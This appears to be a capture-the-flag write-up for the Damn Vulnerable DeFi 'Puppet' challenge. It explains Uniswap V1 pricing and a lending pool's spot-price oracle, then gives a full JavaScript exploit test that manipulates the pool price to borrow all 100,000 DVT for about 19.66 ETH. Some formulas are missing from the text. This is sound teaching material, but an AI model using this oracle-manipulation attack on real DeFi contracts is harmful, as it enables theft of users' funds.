Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you should have skills related to Solidity and JavaScript. For each challenge, your task is to ensure that the unit tests for that challenge pass.
Challenge link: https://www.damnvulnerabledefi.xyz/challenges/8.html
Challenge description:
There is a lending pool that provides lending services for DVT tokens, but it requires depositing twice the value in ETH as collateral. Currently, there are 100,000 DVT in the pool.
UniswapV1 now has a trading pair ETH-DVT, with 10 ETH and 10 DVT.
You currently have 25 ETH and 1000 DVT. You need to steal all the tokens from the lending pool.
The lending contract PuppetPool.sol
provides the following lending functionality:
// Borrow DVT, but the prerequisite is to deposit an equivalent amount of ETH worth twice as much
function borrow(uint256 borrowAmount) public payable nonReentrant {
// Calculate the amount of ETH required to deposit
uint256 depositRequired = calculateDepositRequired(borrowAmount);
require(msg.value >= depositRequired, "Not depositing enough collateral");
// Refund the excess ETH
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
// Save the amount of ETH deposited by msg.sender
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// Transfer DVT token to msg.sender
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
This method mainly does the following:
- Calculates the amount of ETH that needs to be deposited based on the amount of DVT borrowed,
depositRequired
. - Ensures that the amount of ETH deposited during the call is greater than
depositRequired
; if more is deposited, the difference is refunded. - Saves the amount of ETH deposited and lends out DVT.
The calculation of the required ETH deposit is based on the liquidity of the pair contract ETH-DVT
in uniswapv1. Here is a brief introduction to the contracts and methods in uniswapv1
.
There are two types of contracts:
-
Factory
contract, used to create and deploy pair contracts. The core method iscreateExchange(token: address): address
, which creates and deploys the pair contract forETH
againsttoken
, returning the address of the pair contract. -
Exchange
trading contract, also known as the pair contract. In version v1, there are only trading pairs forETH
againstToken
, and no trading pairs forToken
againstToken
.
Once the pair contract is created through the factory contract, the method addLiquidity
can be called to add liquidity, which means depositing Token
and ETH
into the pair contract, while liquidity providers receive LP tokens
as proof of providing liquidity.
@payable
addLiquidity(
min_liquidity: uint256,
max_tokens: uint256,
deadline: uint256
): uint256
When calling this method, in addition to the parameters, ETH must also be sent. The parameters are explained as follows:
min_liquidity
is the minimum amount ofLP tokens
that the liquidity provider expects to receive; if the final amount is less than this value, the transaction will revert.max_tokens
is the maximum amount of tokens that the liquidity provider wants to provide; if the calculated token amount exceeds this value and they do not want to provide it, the transaction will revert.deadline
is the deadline for providing liquidity.
When there is liquidity in the pair contract, other traders can trade. Unlike centralized exchanges, the trading price is determined by the latest transaction price on the order book. The trading price in uniswap
is calculated based on the constant product formula:
where and are the reserves of the two paired currencies.
Assuming there is a pair contract ETH-USDT
, where ETH
has 10 as , and USDT
has 100 as . Then .
At this point, to sell of ETH
, the amount of USDT
received will be . This means that the amount of ETH
in the pool has changed to , according to the constant product formula:
Similarly, when selling of USDT
, the amount of ETH
received will be .
This is the calculation formula without transaction fees, but typically a fee of 0.3% is charged, which is distributed according to the proportion of LP tokens
held by liquidity providers.
In the presence of transaction fees, to sell of ETH
, the actual amount of ETH
sold is . For convenience, uniswap
multiplies both the numerator and denominator by 1000.
In the v1 version of uniswap
, several methods are provided to query prices:
getEthToTokenInputPrice(eth_sold: uint256): uint256
inputs the amount ofETH
sold and returns the amount oftoken
received.getTokenToEthOutputPrice(eth_bought: uint256): uint256
inputs the amount ofETH
to buy and returns the amount oftoken
needed.getEthToTokenOutputPrice(tokens_bought: uint256): uint256
inputs the amount oftoken
to buy and returns the amount ofETH
needed.getTokenToEthInputPrice(tokens_sold: uint256): uint256
inputs the amount oftoken
sold and returns the amount ofETH
received.
The exchange-related methods are as follows:
ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256
exchangesETH
fortoken
:min_tokens
is the minimum amount oftoken
expected. If the amount ofETH
sent when calling this method is insufficient to exchange for the expected amount oftoken
, the transaction fails. If sufficient, the full amount is exchanged and the transaction is executed. The function returns the amount oftoken
that can be exchanged.ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256
exchangesETH
fortoken
: when calling this method,ETH
is sent to exchange fortokens_bought
amount oftoken
; if the amount ofETH
sent is too much, the excess will be refunded. The function returns the actual amount ofETH
sold.tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256
exchangestoken
forETH
.tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256
exchangestoken
forETH
.
Returning to the challenge, the method calculateDepositRequired
in the lending contract PuppetPool.sol
calculates the required amount of ETH to deposit:
// Calculate the amount of ETH that needs to be deposited
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
// The value of the collateral = amount borrowed * price * 2
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
// Calculate the value of each token in terms of ETH
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
From the code, it can be seen that the value of token
comes from the reserves of the two currencies in the uniswap
pair.
Assuming there is a pair contract ETH-UNI
, with 100 ETH and 10 UNI, then the value of 1 UNI is equivalent to 10 ETH, meaning the value of each token
is equal to . If the value of the denominator can be increased or the value of the numerator can be decreased, the value of each token
will decrease.
Given that the hacker holds 25 ETH and 1000 DVT, they can use the 1000 DVT they hold to exchange for ETH, which will greatly increase the value of the denominator and decrease the value of the numerator. This means the value of DVT will become very low.
Then, when borrowing, the required collateral in ETH will only need to be a small amount. Finally, they can exchange back for DVT from uniswap
.
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallUniswap = this.uniswapExchange.connect(attacker)
// Authorize uniswap to manage the attacker's DVT token
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// Initial balances
// attacker: ETH balance => 25
// attacker: DVT balance => 1000
// uniswap: ETH balance => 10
// uniswap: DVT balance => 10
// Use DVT to exchange for ETH in uniswap
await attackerCallUniswap.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('1'),
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// attacker: ETH balance => 34.900571637914797588
// attacker: DVT balance => 0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010
// Calculate the amount of ETH required as collateral
const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
// Borrow DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
value: collateralCount
})
// collateralCount = 19.6643298887982
// attacker: ETH balance => 15.236140794921379778
// attacker: DVT balance => 100000.0
// uniswap: ETH balance => 0.099304865938430984
// uniswap: DVT balance => 1010.0
// Calculate how much ETH is needed to exchange for ATTACKER_INITIAL_TOKEN_BALANCE amount of DVT
const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// payEthCount = 9.960367696933900101
// Exchange for DVT
await attackerCallUniswap.ethToTokenSwapOutput(
ATTACKER_INITIAL_TOKEN_BALANCE,
(await ethers.provider.getBlock('latest')).timestamp * 2,
{
value: payEthCount,
gasLimit: 1e6
}
)
// attacker: ETH balance => 5.275716174066780228
// attacker: DVT balance => 101000.0
// uniswap: ETH balance => 10.059672562872331085
// uniswap: DVT balance => 10.0
})
The attacker manipulated the price using uniswap
, successfully borrowing 100,000 DVT with 19.6643298887982 ETH as collateral. If borrowed directly, the cost would have been 200,000 ETH.
Finally, executing yarn puppet
passes the test!